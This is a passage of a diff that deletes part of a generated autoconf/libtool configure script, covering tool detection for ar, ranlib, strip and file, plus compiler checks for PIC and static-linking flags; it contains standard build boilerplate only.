-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AR"; then
- ac_cv_prog_AR="$AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AR="${ac_tool_prefix}ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AR=$ac_cv_prog_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AR"; then
- ac_ct_AR=$AR
- # Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AR"; then
- ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AR="ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AR=$ac_cv_prog_ac_ct_AR
-if test -n "$ac_ct_AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5
-$as_echo "$ac_ct_AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AR=$ac_ct_AR
- fi
-else
- AR="$ac_cv_prog_AR"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$RANLIB"; then
- ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-RANLIB=$ac_cv_prog_RANLIB
-if test -n "$RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5
-$as_echo "$RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_RANLIB"; then
- ac_ct_RANLIB=$RANLIB
- # Extract the first word of "ranlib", so it can be a program name with args.
-set dummy ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_RANLIB"; then
- ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_RANLIB="ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
-if test -n "$ac_ct_RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5
-$as_echo "$ac_ct_RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_RANLIB" = x; then
- RANLIB=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- RANLIB=$ac_ct_RANLIB
- fi
-else
- RANLIB="$ac_cv_prog_RANLIB"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
-set dummy ${ac_tool_prefix}strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$STRIP"; then
- ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_STRIP="${ac_tool_prefix}strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-STRIP=$ac_cv_prog_STRIP
-if test -n "$STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5
-$as_echo "$STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_STRIP"; then
- ac_ct_STRIP=$STRIP
- # Extract the first word of "strip", so it can be a program name with args.
-set dummy strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_STRIP"; then
- ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_STRIP="strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
-if test -n "$ac_ct_STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5
-$as_echo "$ac_ct_STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_STRIP" = x; then
- STRIP=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- STRIP=$ac_ct_STRIP
- fi
-else
- STRIP="$ac_cv_prog_STRIP"
-fi
-
-
-old_CC="$CC"
-old_CFLAGS="$CFLAGS"
-
-# Set sane defaults for various variables
-test -z "$AR" && AR=ar
-test -z "$AR_FLAGS" && AR_FLAGS=cru
-test -z "$AS" && AS=as
-test -z "$CC" && CC=cc
-test -z "$LTCC" && LTCC=$CC
-test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
-test -z "$DLLTOOL" && DLLTOOL=dlltool
-test -z "$LD" && LD=ld
-test -z "$LN_S" && LN_S="ln -s"
-test -z "$MAGIC_CMD" && MAGIC_CMD=file
-test -z "$NM" && NM=nm
-test -z "$SED" && SED=sed
-test -z "$OBJDUMP" && OBJDUMP=objdump
-test -z "$RANLIB" && RANLIB=:
-test -z "$STRIP" && STRIP=:
-test -z "$ac_objext" && ac_objext=o
-
-# Determine commands to create old-style static archives.
-old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
-old_postinstall_cmds='chmod 644 $oldlib'
-old_postuninstall_cmds=
-
-if test -n "$RANLIB"; then
- case $host_os in
- openbsd*)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
- ;;
- *)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
- ;;
- esac
- old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
-fi
-
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# Only perform the check for file, if the check method requires it
-case $deplibs_check_method in
-file_magic*)
- if test "$file_magic_cmd" = '$MAGIC_CMD'; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5
-$as_echo_n "checking for ${ac_tool_prefix}file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/${ac_tool_prefix}file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5
-$as_echo_n "checking for file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- else
- MAGIC_CMD=:
- fi
-fi
-
- fi
- ;;
-esac
-
-enable_dlopen=no
-enable_win32_dll=yes
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-
-@%:@ Check whether --with-pic was given.
-if test "${with_pic+set}" = set; then :
- withval=$with_pic; pic_mode="$withval"
-else
- pic_mode=default
-fi
-
-test -z "$pic_mode" && pic_mode=default
-
-# Use C for the default configuration in the libtool script
-tagname=
-lt_save_CC="$CC"
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-# Source file extension for C test sources.
-ac_ext=c
-
-# Object file extension for compiled C test sources.
-objext=o
-objext=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(){return(0);}\n'
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl=
-lt_prog_compiler_pic=
-lt_prog_compiler_static=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_static='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- else
- lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic='-qnocommon'
- lt_prog_compiler_wl='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-fpic'
- lt_prog_compiler_static='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl='-Qoption ld '
- lt_prog_compiler_pic='-PIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic='-Kconform_pic'
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_can_build_shared=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic='-pic'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
-$as_echo "$lt_prog_compiler_pic" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic works... " >&6; }
-if ${lt_prog_compiler_pic_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic -DPIC"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works" >&5
-$as_echo "$lt_prog_compiler_pic_works" >&6; }
-
-if test x"$lt_prog_compiler_pic_works" = xyes; then
- case $lt_prog_compiler_pic in
- "" | " "*) ;;
- *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;;
- esac
-else
- lt_prog_compiler_pic=
- lt_prog_compiler_can_build_shared=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic=
- ;;
- *)
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works=yes
- fi
- else
- lt_prog_compiler_static_works=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works" >&5
-$as_echo "$lt_prog_compiler_static_works" >&6; }
-
-if test x"$lt_prog_compiler_static_works" = xyes; then
- :
-else
- lt_prog_compiler_static=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
